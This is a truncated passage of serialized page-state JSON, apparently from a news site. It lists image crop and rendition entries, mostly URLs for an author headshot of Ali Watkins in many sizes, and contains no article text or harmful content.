cnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.12":{"renditions":[],"__typename":"ImageCrop"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia":{"crops":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.0","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.1","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.2","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.3","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.4","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.5","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.6","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.7","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.8","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.9","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.10","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.11","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.12","typename":"ImageCrop"}],"__typename":"Image"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1":{"displayName":"Ali Watkins","bioUrl":"https:\u002F\u002Fwww.nytimes.com\u002Fby\u002Fali-watkins","promotionalMedia":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia","typename":"Image"},"__typename":"Person"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-articleLarge.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-articleLarge.png","name":"articleLarge","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-popup.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-popup.png","name":"popup","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-blog480.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-blog480.png","name":"blog480","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-blog533.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-blog533.png","name":"blog533","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-blog427.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-blog427.png","name":"blog427","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-tmagSF.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-tmagSF.png","name":"tmagSF","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-tmagArticle.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-tmagArticle.png","name":"tmagArticle","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-slide.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-slide.png","name":"slide","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-jumbo.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-jumbo.png","name":"jumbo","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-superJumbo.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-superJumbo.png","name":"superJumbo","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-blog225.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-blog225.png","name":"blog225","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-master675.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-master675.png","name":"master675","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-master495.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-master495.png","name":"master495","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-master180.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-master180.png","name":"master180","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-master315.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-master315.png","name":"master315","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-master768.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-master768.png","name":"master768","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.0":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-articleLarge.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-popup.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-blog480.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-blog533.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-blog427.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-tmagSF.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-tmagArticle.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-slide.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-jumbo.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-superJumbo.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-blog225.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-master675.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-master495.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-master180.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-master315.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-master768.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-thumbStandard.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-thumbStandard.png","name":"thumbStandard","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-blogSmallThumb.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-blogSmallThumb.png","name":"blogSmallThumb","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-thumbLarge.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-thumbLarge.png","name":"thumbLarge","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-smallSquare168.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-smallSquare168.png","name":"smallSquare168","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-smallSquare252.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-smallSquare252.png","name":"smallSquare252","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.1":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-thumbStandard.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-blogSmallThumb.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-thumbLarge.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-smallSquare168.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-smallSquare252.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-square320.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-square320.png","name":"square320","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-moth.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-moth.png","name":"moth","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-filmstrip.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-filmstrip.png","name":"filmstrip","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-square640.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-square640.png","name":"square640","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-mediumSquare149.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-mediumSquare149.png","name":"mediumSquare149","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.2":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-square320.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-moth.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-filmstrip.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-square640.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-mediumSquare149.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-sfSpan.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-sfSpan.png","name":"sfSpan","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-largeHorizontal375.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-largeHorizontal375.png","name":"largeHorizontal375","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-largeHorizontalJumbo.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-largeHorizontalJumbo.png","name":"largeHorizontalJumbo","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-horizontalMediumAt2X.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-horizontalMediumAt2X.png","name":"horizontalMediumAt2X","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.3":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-sfSpan.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-largeHorizontal375.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-largeHorizontalJumbo.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-horizontalMediumAt2X.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-hpLarge.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-hpLarge.png","name":"hpLarge","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-largeWidescreen573.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-largeWidescreen573.png","name":"largeWidescreen573","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-largeWidescreen1050.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-largeWidescreen1050.png","name":"largeWidescreen1050","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.4":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-hpLarge.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-largeWidescreen573.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-largeWidescreen1050.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-thumbWide.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-thumbWide.png","name":"thumbWide","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoThumb.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-videoThumb.png","name":"videoThumb","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoLarge.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-videoLarge.png","name":"videoLarge","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-mediumThreeByTwo210.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-mediumThreeByTwo210.png","name":"mediumThreeByTwo210","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-mediumThreeByTwo225.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-mediumThreeByTwo225.png","name":"mediumThreeByTwo225","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-mediumThreeByTwo440.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-mediumThreeByTwo440.png","name":"mediumThreeByTwo440","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-mediumThreeByTwo252.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-mediumThreeByTwo252.png","name":"mediumThreeByTwo252","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-mediumThreeByTwo378.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-mediumThreeByTwo378.png","name":"mediumThreeByTwo378","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-threeByTwoLargeAt2X.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-threeByTwoLargeAt2X.png","name":"threeByTwoLargeAt2X","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-threeByTwoMediumAt2X.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-threeByTwoMediumAt2X.png","name":"threeByTwoMediumAt2X","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-threeByTwoSmallAt2X.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-threeByTwoSmallAt2X.png","name":"threeByTwoSmallAt2X","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.5":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-thumbWide.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoThumb.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoLarge.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-mediumThreeByTwo210.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-mediumThreeByTwo225.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-mediumThreeByTwo440.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-mediumThreeByTwo252.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-mediumThreeByTwo378.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-threeByTwoLargeAt2X.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-threeByTwoMediumAt2X.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-threeByTwoSmallAt2X.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-articleInline.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-articleInline.png","name":"articleInline","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-hpSmall.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-hpSmall.png","name":"hpSmall","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-blogSmallInline.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-blogSmallInline.png","name":"blogSmallInline","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-mediumFlexible177.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u